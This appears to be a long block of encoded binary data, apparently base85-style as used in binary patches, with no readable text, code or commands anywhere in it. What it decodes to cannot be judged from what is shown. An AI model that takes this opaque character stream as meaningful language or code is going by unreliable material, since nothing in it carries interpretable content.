zJsd>*&*V&VEl)!Bl4M`TGjr;VTBm5#CA|Ii&_Za75suUh%hh(QYdIe)*{`l~|7}sq z>FJ$AI;(#@t73pGj8tNkl*-lY5n7?nYfyzZ0}``xyph&css2|H$+sw39p=8FyrVXi zrTq?`17icQXkussK6QSx;P>6EW>rYPhGR1F!04Ptaqc&{rN%l=&MYe5)UeX`+y5mo z5pWb@0ttTtJ@O0T~m5$ z@LbmEyQK}oD=TJfqypQUr@|o1j7;jG1QK8Xu-zAa5Dm5EN**eeoGHXjg0Xmg=kb(h ztyX_{I0p4fUZum2#IxeJ?`&liQ!pJ8k3M#JJiShnmBo%({3!XXDP9^60ME7;;?n{z zxRsAZ;13Y$q=Y4X7Nq1+v4wzKqTS@|Y8smsXE@udojJ}yYbh6GYGr+w^V)9ot_!CY zeX*LWq*6H`mA2O+?>!8^t4houHiQFwRSthE%PULNmIbb!8&a~t{LF9GA?_k$I^Y)y zi~$3nKHflhv8-=fSf|Qf=lFcyDLc)3ts?x7X=TLmWZ{Y>GZ{g%?{0vj_718hAM?)v zB~`WL#VL5Wdt9*5c?TxnTMv)}F-SpSrVI%3D-V*uRVsq_QpsHO${Q%kmW1IrhLwLa zT-M>HB*CNmKlzopPfLCM=>k%bUCVQ3Bhb)Fuv(B?U+F{2;I_=VSJdr-7D8XLQ5U^1ffBaAeC;g_!YI#>#d>@>!*Y61PT!&l=g z6u+%heHz=XqDjUoe+puhVs~w7TK07Id{DL*7rzdgKJ|r^=o(yFuFrqxy`^>wc}xW{ zzL6MDgi3TSiNPx{6~eZGdbEE$q*eQr4j9dTbJSDq-QSp35#OK&axOM6X6 zY-8@~$pQ>iJ`=bcN{4@mRgt$J42yED7f}emFn+R=ux2DnGkev9YO7|@{U`)ASSh7K z1O+7%X&LmK@V3N5erhXi%@ZTJ=d+mUfZ&_6^vgCGEML{XtM&|t9E5yWDz_rYF#|At zpfcq0Uzg0^?0P2+##^Adz%!HrCr$5; z6bY9ADFYmh0;ySIPPtUc`f4Mt-#va8u3+uT#S-@bnZmyY%-Py^QT2{vx(SsW2Ep2* z?aT(+W25H($AEu=7&Bh7B|Sw+eG1cXdLJY*ON&%4fXA9N1HdqJ^OmHcu&4poLfWoh zL6=7SWwqk|2(h>ra$+pQ>~83*&iDXU(h;+*6JqXfa&UCuL*fDR(jy-D)yM#u5Vlp_ z*@uu&r8}<##r=#@oV3Fa^fb-F(R{}v(@A@kI}vBuz~4$? zu`>3Ev?qUtZ8pNSA*4FaL`6_tdky22$WYhXcL%#k`{eLB9k9SO41NV_bP`*a>Y<@g6yd_&l5cr$CFy%srQW$ud!`L7x0?Zbrxz0 z*&Bx^qtXLZ;&OoJ__Qv-1|sH4`5~+2$*g~iYE36l(`@%6z{TiT(|>^jqRj&dOmGo1 z()`uha59@6vwEs@Fr*=)?|Op zeVRnMH1;WzsiD$PDWj!7q>|% zIEdy0C`S^4DP7hk7RuStF=S}|>2X5_g5r=R9%+(AHnvmCP@>6kTZ_O5#Uqk@L8;Imw8ysR zCT{}|5e-ICCUu@E`Bj|%a%S@0mvUW1ZMU78yntNaC(pkbKPUjebBk4lW5=XlFEK@Bx>Imq4tR0P7pkoV?67FtARG0dt{)`}p#JZp~W8uT6I z>*Y0cUuJaa>z^^7c`I?=_t_y;g+!;HoSK zk`;^eBmk=%je>v9-6RV{r)eYnbV4qmv5Y@HJk3k)NP|c*CA&3|G2k$8zuZ`iCDURX-I}SwzX?3eX&uET=aMuA zi~y)hIy?I&$S*JKc3WVawZtTOi!xMDcs12DFN5jPXkdSfF~JMHy&Xy+$k!2T7GBc& zS@*^j#L@5-tj&sZ5$1-SDQLWx0UCh9b^knbU+jE?{i>ZAw_?$M-+-df8&XH0y&YWx_|&Kpce5z0+*zf zX`RIO5vhOB2ke0$*;g*Cwl(97Em>4x1CZW|CGmfO=s?4cp;vQ`1RHGgjr7Q{-%JU7zU%3EQ%W^z{UE-lLHmC+ z)+v7>Tby6KoQRZoJU9vt$QfbGw`P_Rt&pZLL|>+vc;ulNFN3k^(uIC`!RhJ`!nDzW z_VKo5+5Wz1vCXYDJ6MBW8z_Bb|B7eL1)93L8oNe=lTAY|v^Y%e7A*!Z{Hh(Nh_Q** z-Pb62>V*Wcs)EZA1uI3N{`Fx1yghh^Z!Ui!m;MkILWM0ZwJtkTdCTparHD;xw0WG-kJkJEO=SP@X*U{Fz z!j6E}#WtL0-xAkb#rS=!pvwc&y?OX}U|O9yVOv?UcI-B_9I~TXAYj*~@9C@qwQhe# z1Mr|O0LILoL5BUB;8NkD){8T*jU`PZO*J0O)8_9t#chNy!%_r}1QuOP2yCVl0@3uJOG|Npr$PIM(YYMG%Ek zn_1vtidkl?0d0z6qThHu65_?ZKG)HmJK2!}5717#KgD@x*Ma-)FNQpH>9c=XBNz6I zZyWmZ0=35T`GK8zsa6^nr#_hCgw)n8*Xp(x3=nGGH*rTkM`ZK-Ej+YfR@gNNW30Hx-zo z@H0?!rhS_KBM5;f6Dvxz@{4~=k7qgFH=BdgumUG*99}{e0%&b7vg)_nF;HAw?~9Sv z^XzMQ==T;hQ?Njwf8=?tnqD>M^!<~St6t--&b#?x2j?;HSQKXI6Sz^g9Nt(C%C&if#5d5-Q6L$Td?5n?(Xic2_NS@r|zw<>Yo0!ruJTY z&2&%IR8Li}jg)t4*e_yts8&C_;Avh!e(Kie<6BLXFEOaM@81Adz1TR^hBd zD>C+ScAkX6sUE)bi_S~573VR8))0g_KhjhkW{aw}|Ms-eO*>z)wfKV>L3Nmny z%!BK0T^i*3I`}L{2pDXANy3O>ikVfNoCF+05EQ#RqSa-2kie z^<8wN*Mie*892g^x0MK6nbmkW3#VB%%}r1lKz$-yG}QMqLPWiL9v7%K0U9?i=JQo; zM{3}*to&+e^^jGQt&(P`gEHew)pJ+Ct<#7~yR(}80svMrl`C|+V%lbM%geoKtN`t8CVI8_OYx_qD9@g6 z%4E@y*c+ARJ@s?NC8N`ccoolYRKy0Q9YwSphmiTswGm9*^Z)9$hg&z{xrQUmcr)FE zg!%0i^(K)JaOOKfOn`j=`>Pl7q5qapq9zD3LFs{nz=C=qG}nrn`?PDA9q{8N+Z@@i z8tRK}9&u>=-ac;3-;>TrEonkWYt3qGRxH6BC`S5QYoJF~)~Zd2UaL3BE%jF&WVl}{ zIuM8g-k`MfkSPX<8ZtFx3(+H*^+tV7Fwxn63qt%JF6fIj2*utohs8}T(osr8xO+`T!JJDKkY8MhAMn$) zXaj!KwK&ye@DCk?8OQE+9S;>Jzg6RZPoBmWG4n7Ao3=ex-vTwYMQ%$W3#z(^o-Ylj+Pe_ ztBtoydbWstXEYW}>(LZ`m_@KMb^%^f6*W zL8fSLLv!<`V^VVvu-Nmo|HC}ur}mwmM8F(fEORXBl_)QT|H|*6ae_wX;N7pRq=O`< zb(>6y3ZjXuZ)Z!I4Wcuvpse;(p@O%0+EDyxr|eV!`g2I>_o_&5U$B>tB@-Ga>UKC2 zr0EA#4F{K(?alMYKn03GTSV!Lat2)Hznn4BC+VP-6s0dIav-Kbc_Z)E`lmIo1vo6-Kt`{NeHxJ{6gNg#|}*Dtz7_s}^9V~t@-u7ds)^(z1Ejg_l2zUHo49poxn7?KYhsh!*vM zISb2T-Yu*-ePACZ8)HH=74$v~1^kcf?ki0k$v@_Ja6R;EQzZwDz=%qYpMX_mDPE}W zNk4K8k3^rT4H9S|dCEbLKyu1+5iZ4E`EQ!EeUlpVzG)~L_6<}_{Av54n+wC{XE~n~ zfx-O9-1sX)sqe9R+mJ&@OazFz*|u}u_2yg#(9DOji3dcyCV8gE%mes{5$1{@5ba zLH|DoXH1@7>%}MZ@r(A0l0jE;Iiw9bB4p3~n3WM03_m9H-#5$sVbiH5S#EP>1mS;O z3DH>0d6goxb{-+lKNHq#s(dz48Vg4(d0t5pB>mmVz+PR#uLyoJ*Kk z3IQ%@Usp8`R9A8Z4Uo~HRel5*E#D}VP2!ZMIBTl*^Gwww3SqCZq1Wq?DX|ly6v<(d zt{8+)z9rZq(x&-fWAvkAjo3=?mC*QNR->S0nB8&Iq}?s5;{=d3L7z4GAoD+vsYf#( zA0!k6{kRAn%O^^9)jBm{Z4dP=>{MBF1_29HiLl_8`}Nl2ZVoh10?uqN)$ohLURb#g z$p(V1|6gnoUm0-zxMka$wO_6UL1k11TevxOem*2tL9}ZE4c+hBQ%Y!t9yr5q9G~{9 z-k6gXb5OvwNp^#1K}vxxwt;PLb9L%b4lOpfpo!)q3e>>2d6_K2AZ+wlv*&NJ9e@Qf z*rep>;C;&ptrXK-fSC~>6CDDU`(!=nV4TO+9X-0X=NBW^{!8~X+eCB+3-{1keRySZ>pA6#1F=ma`ZN4PXD_G{exSep$ zdx5*0yYkyEY@qDH3BIsENSP2+aJJB$7`apy)-AVxn>yQ$--q}`Tpa!an)%aC^O*5f ztzL}X;*Vx|^NX$Vo6wQ*iUj(I5<`2TXzQtlO&RhiV)5Igk#5zXK@8HHTEJ3=CS5y& zKIJ%pPyCQCg%mLa(&r5)u2i=+(O_3PZ-mg!sNQ#Zm79w6HYvf)12?OYWl%86!TomG zwclW);*JwlEZ9^=($qJt8w_&nDIx2Yq$v5p&-B^8HLO$8T0xC{`m8LdNcfg_%?A=G>bo-rU=`b+&jvqN(B zCJ1=dp#0<<&4G-Za1(;|#}u)s=G{wOR743fz^x4(!5YoMyg2%#w+9 zCP0q*ti}yv^?}61uN^4#s#r=g3NiUkkzUO5PT;xBzfvz!6#cDO8688!XT+K{)R zw+`-L$R=(R5B-j}jqjDYwbLLKg7F>l3xmGG#S1R1CJi^8wPz5sFN~KdKPM{=2-(PY zS0sfFJBKg8$}hg3!pJ#C8wK4}p5>By&sUKhnF;8AGe^7b#Ok^RdFlA~|IKiM6;{({?y{j+r$F21sK;*d*5pSD%JG>$ zJ538@+Raj7M`8FzTjOD_r>2aBH4cfa^vXtb>Fb`@kQX;_1dHnV+_L>`Y*L%}Hqw;e z$)fBJyVbtrGEh>#gvz^sFWg;C7}#oS!!2YuEN(lJzePjygPY<`mAYVphpbg_$(0$$ zL)QiQ*X#??Op#|M091POm6_L zjhy)rjD4FN-VnURpR+T9E3^;?@hDmnGu-%+^WOZ@0nquGqes+q_lMkUzsrs{A7U$- ze8;+aX+av>)gNyhABU8K$$tUJcFMmYOQIRWenEuP?`5oI$0g)w!JB{ z7nO-o3MlPKJFY;K1dxL$6Ue0ukR2QV7VIi>^Mbz!}{?w!Ow*T;_>2v66^ZQ*CUI=^LrVYY3#SktPh|uud)vf4gRGjs@%4 zj||3p0XeTw!fiP_ZC^4ByP}k#cPM6nHom63#hGDlOKD}axZ21Kd^Bz)4RqS4S% zC})@Wk5FC4>L>%EYDjb__7uO`^RHxgP22UD`n4^bPm1C~hG8N$80(Unw|m67t=N%(oGvPb(8 z852;*v?J39ct-W~V2q^=BSh(T zV2?5Z*@0w!A}w*lR)YjZOZ0ZWTyNfG8%NEQhiesIXZ)b){m=cX_q#LL;kbyyf=9K< z9%RD=l6Pb0N%_PgoM7I1cTDzJ$F4GqnsQBE}h&a@P89G@!V=m(2(U8RQd3mtEqN{*}N>s};Dbc!dao zU#oVyQWke)AHS-#^=8*F3U^2|<+MvwNU&>lO!xM1V`YwzY+8DOo%zZx!neA6j!@ZFpt$;g@+FVX!=U!l89HI2jx zH34aCfWr6m%Cv@Tf=wOFN=ynsh`*#6?_`~QWgM znBs)VYQn-NNq^HRW%Pnmel(m`*H?jOv!0xh>pMtW^TcM$r@0 z>ED7iTJCA1b;@B2Z~*dXuem?lIye`6$JT^q+HQUT>7~XiD<}+8&~7C$HRGQ6_p0QC zr6)_f)RF0L(@-fs_aXL!*;-AvhLhbgZKS>dp{)I9W?}HHW?5M^@l*$M2_mXSz5;tP z&o82f)#tElwC#*F5;6QnZvq;QKYA5)F|x!73)F1B*d0|j{6Kj>Pl@=#8_!Sh+($cY zx{Mundm}5p_r{(utjM$kE!u4L1r?zov&bQzEc@n#Uswk>L(?S~&n)z0RHj731(OKq z$(Pt-AReu=EE}F>d)e9_7^0$1BY!9;cXk`KxKZ^Q_&DNHRG!_pD3fi^+IZ)S0lhUV zItVTkWgDmLQ^BDXcIw(fx;GsaRiqYsd)a+WhoJTReGc$G{Vg6VzBw5c3e(P$%GPm4 z{X}tCSg4?;;g_qrH$n8?QHO!i762~&FFGNrf;$fzU=2ey0B^>K&-_~cHj5Me%9Wk5 z4Li7|-&BMG3(Gic#CJ)2zSpU>C=qrk5y5!2Cg^@4ZDQ{+MRyWj=2K*`9?#29BXXYl z)u-)dt^j0^y6icors4%$566_Qh2iom`dE5B@kBq(y|Ny(!*XQf!pA{s5JijQPKOdcIQ>ho3AZd{ zu=09&9t%&&WS~VYi*lLV_s;zb#{j&P3k^AW=U0_sUxJRpJ`4|8kH?g3bO;ipUXE?^ zXs(8Dp}KwMIe(9aWV}015$VWKw>wMV74Q{{4u>6QQmw6yThNA@^vTmy zhAYOu2q+NA(Fbqct@{tnzC2uh+oTs+lZ7KARt%Bcc0InTW9n7sZi+EsC2Fm7)vi>p4H|e21sesGcj?9AKn}p z5kKW}eKqp&Qf^E6xY9XmzFb3QPlykcwr#{OQ?GNi7kq**j)*k<1zU%kCW*_2EEPz{ z`GX0y=U&iDtRxJo6~khKwl~!cJG~c;1DJa-#CG=O`kT^E5k;IEo0&aC>~dTgw>v?h zx>Ymm>x)jEIUx6(q-pIpgR%1W*GhgE*8cuIEp-sS)M(tUWD`e{R$^Do_i=H6{C>Wu z%AB01l@mS_U)(KX%3*~?-NdknNB$8*&nVr6pgQS7mr`c3JG|+@=8+ufHHlVOZyZibt9r{B3F`FEAV49at4x)S0WY+m~J zgTSBeR`$z#34XRdStREW*QEIMD<5A%MJC>hZEp=pkG9+RBCHw09}NJ0b4@=gFk$9o ziWpKymkE}ScH(^SV;$-bPcF}X7aiUQeJWtWx`-I@@YkeO!|WM_1MUCs#2PRAVX68qEeR z^Xi^(mqFhO*7Hlk358Ee?zyhqG22(tBZ7_?9fG8X?bGlxx2h+NI&{!^C3MAiy``|; zgm18o!cj9JYoirFpLy{w96TAEUbd^z%+OiL+0f-Yj3h=(%d!xhr~zP^2vDt&J!4y3RrN zwWeS|&!6=fHVXjyqyaZV*jF>Zx+oDd{5LUr@fw4m-KN=aVqcq$^gRQ5C$}<9m}xQ} zt+ZsuyHb&cbLNtplC#1KqFmp|=r!+Kh%7oN>PP!nVFw`=tyFoXif+&KK)Fm>%cXg` zzT-ldqy78j==^Xdfj1?=Mc&uM^cHkZO3ZIBKDIemKHhEZx7^=u{o`b#SX+weShQF%SpIFxeT?Y75Wv@ID((Xe8-nEoaedl zTfJSjB$SNe6W$;wqZFPF)J=6W|0AAOSh?=4f+j$g=re~(>E7*kZL^|2c?{}gnkuVk zG7p1gGZ9>jPr|d3xq~781$_zhKO=P<3N!5{{}lTFg@KYc0W;7)f4)WMwuwP*m_eu% zJdj#DGn%`TWJ+<{{Au^1qO8;s7^*JVU<{6Q3u}XRht+_mD`%AVa@h7Z7ASl=`+K@Y z_wEhuXB^9^obrTdnL-&&8&l97>5giOyj2^8)@F4an zvwh3KTI+*Yb~K65DDG8D?IAM;*I|RzHUo)X;#Ot!e7#+!%Evz3TJ3}cO5K^CJ$^U6 z8WG#6m%B3wko_!`OpWHWm;|AbHmk1T**PJ=ouU^8`&AJqe9z}@VcZ*btR_AkEf1W- zy8v%v>eZb9&+h>)AWs7Otg-D^mmvcNJAfStY8dfMNWX0R&Vo63=a+rd0u0T;Up{K) zgiv=J$o-E{77lBWTQu2-dZQ(%54n}@ejKm$sxYzNztR*}db1TlP)3Q6HP;v$5L7|{ z9QSY4E@8%Hxr43Q+=;n&4z*8L3l0yOf67uoYC#$HSI&DzA(-2~XF2B@ZaeRO^56K0 z&+&cJ+N@;!x_b7=j3sPg%n4gN@L9Ta9VBj6KTAi!+SC4pd$|+gCT~6pgT6}BA+(rK zPpf;}Pq|mh8_18`pSvX)OR|J~xBC|a3dzEcra7c^#4ztqyj|WMxU)qPhE3~* z4JENF!FGIe_tVC?oCJov?VD#6T|7*Jr|Ut-+KKqtBn zI6~O@op^Dr^dw$~k2Exz624Zsz=P6*#65;HmvQxu=~1!S1@+sl?KMI<_cbSw$N@5P zW#z3U$sbmmHcdDC_{;lHS`zJL6Z<}49SY8Tdh@eBecJcz>a#ZwsPPlja)U*9Yd_Gv z$J(eJ7jyiLuNG>{XMTvyN6-oHk9TNy86Mu?@1#xc0)slt8cq?zJlsT>P81SpyHgYn$e$~>%_zb=r}{ zSOZb~^!z@Aef9M^5&WbMI95P_9GSx(_NhiLdFz(NASoF(z$a_HeN8{F}=h3oX4*b8-!Ome=fDPB9lZ z--gA3{D2?^-z^zBP4I7-tMpOpBN=<6y)q}7#l`x(rYZmXBgeMS%yyXO6R{T*^-f^0 zg^%jCf~rW0Sk*Z$kQ8a=; z{2A;Y+G~t)IU{fMbRo5oF74P7Oq?AgGswnDt9r7Ot(i*wU&gg&Pb?|=5tSU2q=b_! ze8O7CmSV_e{`I{-Df#-SyEws%eK;`A$m=BDZZ%?jS7fBLfZ0(Iu`g-b>wfCHFR>9S z{Cd;+`zbK#bzW19XgiFn+N7%GkmYu33}g}*|0rnr9at-~G#(k$NPRat%CKdM&a+$N zKt>GisM_XBvUF7{M}x}_IIPQnYeADAbF_g@39$(qj~T?c>Xvf4t9s>vWVUjQ1S)~7 z!iGCEy@5X;fEol-X)wdFHP}0_;mcr5LkFE!cGt2015Tg?02O{7j|GMbjf0nsj{$Li znV}A%KsezWB!Gt!>7Q5ogzSyTd2d|#eJQ#Gc3si`)5e#_(@tRWqI)Cw*!6nkeBrHS z9Dd}RS#kbH;x{l1na?pozNDB((7R{8#j^ApVXo&JkZbL+G5rIcVVIcx#~6v2G6vgc z{9McFJ-HEVdu~tSK-^pEDBpwdRCYaaL`)!mc?*A`JvGk%OX&mFoi3>?jw^m4Lea}C zv9Jn44ETwC_plLn#vFe$wu``8*XC z?(}ds6-yVjXMGmQsGn!UVL6JW2?=@Bz}j&OT&0bWJ(qGTw6Y}eopvh}%%L%Jm8-r2 z-!Omq)O6CTe|65#jN$f95oY5&|3i9DeIX+NxZhfk@*UgP96oix-um_8;1@>nS^oZ! z7&PQ>JPqWK6D+-WU@FSmPtjPIm&&@VnY+~G+et(Qh|^|)SNv)TZ9D8uQe1$ zx>!&urJFR`BD9kS1!OM`4dNb&im1{=u_|FApq9h5h~HjKJCF3BFR3`)r9W}{{dtWB z5P$uSN2tKD$j^4);c-+P_=|)?Ej{H@x!P@4Wq0|reOdI`F`Vk>qbRi0-Qtn~4a7dD zc|gUTBz^4WLwlwtk*JJip<=1?+tWC&pI!{zh;rFr7o^}o$uZ2*z#r*r6|wrQw6qh- zErj(Jy41zC#pT7#9}63_*_-)pE-Hfb04R8F%6WB|LopG2$*;pU!?1Hu@lvZv6c8WA zANeV?QBeq>>W}x}h;yLxE%WCi6BaiaVSPE%n&pJvTb}ZMxuu0*gr=>209*n}6vL^D zX;`NX6IYXxe)o9fF}!6S>+0j^S9zb5N`>MG`ExWd5nx6TyHPbAx0+Q~V}K<9^dZd9 z$?gO8zvgJ#1brN$q@=QT=343wo<6GsKT2C>!NoO9z9P&K56bBL%Iw@KLpFk;15S>7 z!44+9zqI}0>K=;oS1zkMvpo*hJ#>m6m}>#2z{c6gOX^m!?N8-c>l)cQo+;v)5sVCt z6o~@iW@WSAke5nd`Bg;Xg9jXdvo2Gng&X#vHO}l~T8lm7Z#mMb7k?G3+W7to;Sbtc z(>A+L^|Jk5_zOUWB%HBQrKA5~O0?gBffcFh2|f@hIB3vSS3B7c55*q7FVI5|AK;gy zF_QNQc&iy=(d+PR;&iKZ$y}Rrg5fl1Z(*u12O$ac(O8=eI~ zM-SEN7C-B+4`uP>+OpF~or($`6v05T>Lb!v!@;9%zeNMa4!1OjnlgVXaBPGr0MHs9 zC%y0yDd`y}|Li1Bj341eJtTyS4$o1a3AAxxmN_3sd;2~ar}?B+&2mY}_z8Q0Aq_gF zD)T`unTvqqs*FP1`ZD0}IFG%KcUk%-1IiaL6t(YnF9KZj{qP{k4w4t1G<4F_e0zh`7w0{XGPIKG_UEC+>Q=7XChJ~-?B(se=w1@6zFR}I*hm9~?S@1> zaVXL&?vW}D-#5h`v#&u>j&LIkkA6=1X|2NZ_DHB)`LZ2p*9~-D2SOyrjReI_)3&87 zk9}v(L{eoPwZax^8m8>DmW58vZChrpanAOMXlqV;1&8c8Cp z7KVsy%0y8>&?AHV4>(eZ0$a9;;+U(bXX9l|X*8XAU9kJ>tOf-+9b-{ST#guH-}&x3 z^UPeEGtkbXmiTU+!}yClGy`u0a(kZ&QIC*OX~y_hSi1fA->|W9uE%^>HDiH6w~OlC zEH$g79AD{Pir1}%dU;ktZ%k1S8UCQE~TNB zSpw5((Mj%S72Q3EB-axjVdCvqVjFcCT(}v^{Jw%r$$B6$+G3wMP%ic{tDf}4Bbx>8 z1Umac@{5~JP;i?W+O~Q7t{BsLOM($Mv~HvgMV@vDPLMU*4Zc}@{E(|F{!Y#iO{B;{ zJmJ38WTo_=RxO6k(=ullQy-0#=IuxTw=4XGI|PmQ^W836OwErRta?K4W8iRjpK@j{ zw2>;oY#ey;H@(`5C~DG$eMT2v?bnRxO4<0i#03$SJyY~aUVbOTG?0K&g47kh zT2zox(0LlMo_?QwxxaCvV{?M?_Tpjene`(QgVSyG>|1Xf3}aE2 zbTIoJ9m0hMd#IxcJGB-`SmzGY(4}71X3yo&)osY2R zu>sJ?=SueAw3SaV`}np{2<{>F^~G}G6)%!Fv+Mez&=4pi_lH^PrQ)3T$xqfLQ5FTz z7xS&LG7&U<^}6C#?tDbnlKaM*Gl>(hB&#;R?KV#dF4lcy*(urHE4<{@viy~M$c@sf zFkyd>6>%2r{Qwm_sb`0U=er|qUC}Jx08DIQhg#~BP;l&aON_AuH zs9!xrmulTJ&Sztx*$b{fXX?Ez+I*<=oDPuoG9w4Ekltt?h3e^mj-jR=?u`)IhJE$+ z7Mh8l{Pczz2mOPCAu$|n5ncJs8D$_)^5*Rg;(e$m`%I#8Czn8?*$GU(U%Nv=ym!ny zdPl%NNDC4I!uucO_KpJnL8b4A_aD^qjy(TCV~r|MX!DK;jmfh3#(^b{jqJ{7-=GjS z*EO}K`CCRBOI^{9V35<_^WTTX!!~VlmKPd1WO`$#7aArq%G`SZ>pk+7(=Z{qiWm;R z@je)>T#f*Vg^i7ao9urF8#fm#H~S|p?)cbNypL=g9GqPL1Pzd6AxR+Q)2=OQXdxhM zlgZ7Y@EW1!(Fnls{~;t_nL*(t^CF>RK+C0FH_9QQ+oS#ev8Z&+f5&puF~1Ywv2(Hg zuP)jD2>(;(Bikp|e+!fSOBog7y`;q}Gz0|ozmy3ZT^cau;Bi^O|FuB!Wg8|2;=fo? zxDXJU|7KCPV@8qSae&$XJ8g6IKeVNHG17n2u-7nM;PE(kIQ~1WY4<;mHnNL(f`bQU z`}E&)cc1?wk&X!g!SHVh{1;47Ts$xr=l@B|?uW)p4*7tE0WJGJv*{nOu&MCaSpTn7 zu4FP4WW3}xE-dtaaxb{BVA1h7|FekyX8i9=|EumtuK!v8f6X)u#Jhw={QK*I^3Re>T8>(jWeJ50IIXfd6)ZUnjN3x{={F0QtW`P&nTL ze+m4rn}7N)t^`p2dj$U9mFVBd1OL0HsKP&i|7%gY1EBs#Qs@q#{zn48HaMvU(9p&I zeaUbJ(EdGXD+JK~KLq~&u=w8PEMM5nN16;NKF0^vA&eS>XRdQAYp}{9E$A z4IuchlDSHN;4gu%L;wW;H*)qCAOM9B|IvS`*#DOV6et4-|08*DP?HV&tnrVR??iti zayXv=-Sr<6OjZB@yqf{w%m4x?E2C%G=fwo~} z;4LQ#P+5!u{1iq7?kJ%G?uDp8^$98G45GH_%1p{uyz<`K+7@*k- z1Gsu&K<+pWfQg9?vj;wI6x_PXsl#Z9nlzA5IWsO#3h6a8&-?Ri5t_BU47Es2=Mob=29?eB}}&nFAO z@~7qc4!lp)FegrQFxI4G0VqMH{Bz*~xWDzd*9_WFf;L2nPmM_u=}ag{ApqmQx+nk& z069_8oDsAmNDKsRUz&I`(*yq(S0cY@7lbkK+|&~MG&Lhfp##UCE)j0V51~t}HDg9% z02mVI%{Y**TVdwoC=38AK!L!cLZ+;?Xw+c%>o0u27u!ER?)IW&NWFq&2aBm_hn*NfCzKNO(v@U}~psq*`yQztlyaR z480$%yh^7zeZ)f{2KmgW3NaFr`YFH%5cLyOrBgpM-)UXYZw?Q5s zf*|%QQRtDrfH&6xVSJzlIt&2>hJSnFSHb{50_45vn*?$<39v!4x;Y5YId_vF7OZ0k zWWz-WLcY+xe7_l>7a(mgN1UhLIAHdNTOuRP2YRg zAb|S%P3A7}IrU^60`P7^5R0}@YBYW@z&;4SqiurTEL#u&ZwG=fEr3xYBtAotks?64 zR-++-wv8arnn9S+-tRzwArM^bq4Y?Tf3?notvi3U9{<&P0k&fALK028sbRff4$@r+ z@a6kWh4a@H??C{pgPR_tfJx{MAVA$8_6GI+AWQwc(SySR==_8LLPt0LpbCgQf&hLe zH$Bt@CnNO)0&M+)AmGC=2Gk1(FbF^q_q))jF-O7fdqSXq95P~f7{-W-0tI4FpuguJ z?0O_Yrb2}#2DMVdflv9Y0mGBy;kD1%Fb39=5zA=ozw zuJth>5B^~Um|y~AM_g!PRW~(4eGH0>R*VY;s=}b(tD78FPIjv zq(c%YP(ylSP6zTVDHJ#d`MQEkFdPaQ6v!k0T_WsS|Aib1T!9SgZ%W3XfC2;*Hx9Qz z2P%+dC~wB39Aq;}D1b+O6JQbypiB(~7-^u_dl@0|4eXIN4HP&98?LvSI#@6%EjSDG zH-lUPE?Pf&D8S4NMN~O}d(#Sx@R}J4V6)s9gn*mbs6kc~xdy0-~d8z2I9 zPy9C{Og@2g9wrV2^dxQ!qCf*L2`B)O26KW3z$O?#LmI3>=683{9)kQp=4SfPuKW7( zF92V!f!#ji zB63Pm=+RU`2)|LH`Gd+dQ1Sbiasz=x?GIcZ>5+ed83^zH0OHPL2r?3_`i&i8&kCeF zApJhv1i)n^s}B8rU|oVv>L9CX+$?}%kdri^fS4u}akm zbV5KTe+UIK{xB;zo`oO}Y2VD1DYzcCw80Ip`)5q9Ls#m8llkbzUaqpz7m0db3)?goM^ zZvh2*LB8IK?$>&d^(}8^SQ6x5ODNC@^7Y}64e}7kj#fAJfgnG(f&wt>8%_k1u~~z~ z+5F!7XxI5pY;KaHUC*n!?Vn0iKnS&k0;9G!k)=V;S&(V$e`iMH0QIu=e~cf1O7Nit z)H&RQB?6TP4u6#IK|pl`YjnJcIOwr^dM2gY(ax9Hz=UxelwgpU}_t8DA3|@Gu-{49@!HL413=6`1-wJ8{{aj z8+%cZGrgd|49M3b2EKFxD(N-b;0<`KHzcddlSDFZk7!CdhV7%adwShx{^kC@kgCA2AT)Y?|;0sw8;^{Dq z2BreWA`OQE7SDd?zS%(0&;D$nglAA77u0}Hd^9C6ZW*Y!-Xk|=$A6h!fM(bcH~UN+ zG$W0G0@@&7cQzMHU<@)O>i6KFseyXhs6S!Ux54fD!H z8chIHGN%7=yPjyhKL8U1p(7n!7U{o79fcq42sUDI8O8`31XWV6zzv-FTZND?0=vPG z`6r4bs1^SMzu#KnnNR>d>-TV=F@s8itQ*VUO2I5B&;~YKzrv#RgRpaB2@?mG;W5bk z`Ox3X@)KCObw0R;i*EQX7|Ff}JeEKP_bFN~$c;sRB7^V6fMGEdxK;Yw7>x;3>X-ge zDuVE|6x`vU5}YDT7mz=JEM11+S_faXBFmsaY8gTYyoctMA$-?iEYQL-MD99F6{)BU ziU{HWR{+O17->EDL4yb1342^%IUJj}Ev_1fgzRJmBTli9o6pk@VdI{6&xt%E^T(^8AZI6#oxE-^~D-V!~^%f&Wxr`M+6|bDFnoF%#{QbRGi~VIS zsdf5gO|e#&&g&sjAF{r4u6v)Xs@#UP2luP$vv@9X?a;f38{W@+(7&Uo#r!UuZ!MO- z-@8|9gsiETR-Rq9#&yBwYwN@(cN3||jX4DaoftbxS=WxLX%zTe*|D8M+B@XjES{t1 zgp#TXh4(~P(}mKtS7qa~zaI*)ZqhdTq^wNkOiY;g9H)kH)T1Bg)#=h>c7~>7V46+1 zOm%K|pW56ON<0WUbzXBeI_3=c`0e1m;Y#zz>Jz~qrL;`)B@{jCS|2H8hxSTat>?tL zu-|($(~28Rk}k%>(?*ZBhAqQOu_7dvrQBppbozOq5BV{^JL<%!Fk+h@6)U&a8@?^k z&>6{JC8r|8|Bj)2)XH-gIyYsYa{J@{{9&=SfrM_XplaQpk^Acr{;Kj8&(7 zk^GKvsyCkeX}P+htJqZWM@D%Lqe(2Z+HXZL-QfGt>7b+1)Ij z>?k1PO#MFMRq3azKK+d^9`~_9lIM4M^2hIdjyX2BU0<(n%+d%{{p`l#nK!)5Dk9V* z!HiS3RP)_Zm#K!o(-S7tN!m3#)6=EprgH`kFl-v$Y(~{gA^|?*$oBEIx_si{@u5*Y zs8;9qQ_?vY6j3MYjQO<1P!H$gMTr-Ziaq)ov>hJuRESi4yc)5IY!!*c^|2cp)f~H} zHaC?mB0%2RC`61%oc-yCPM4|2t91YDvU#ZkxjXY*BPI}@7yi`bOZHxw8vK@-I!lo4 z%Ia&4f?|yJ)W|}X^49)-#ex&M%R&4iP9qcw@l%gUasu5=RX~$WnGz|@VkNY7O6jgi z^nq1sAv@nlpvR^lc?SwkOuzCYV*{TN-M;cPjw|sh$(&sBq{knz#0u$*d#`BhC_IpjyRaK(nb>;>WN z506j^N8Y@qGDf93;GN-=HfMnE7DT zfW5@K+3QB0g_LZ10sb@lg6*z@!TFnoGuJGkUnvHmr~x@xDk;GmY#nXGj)bguD#0=k z0i$teLIn5C 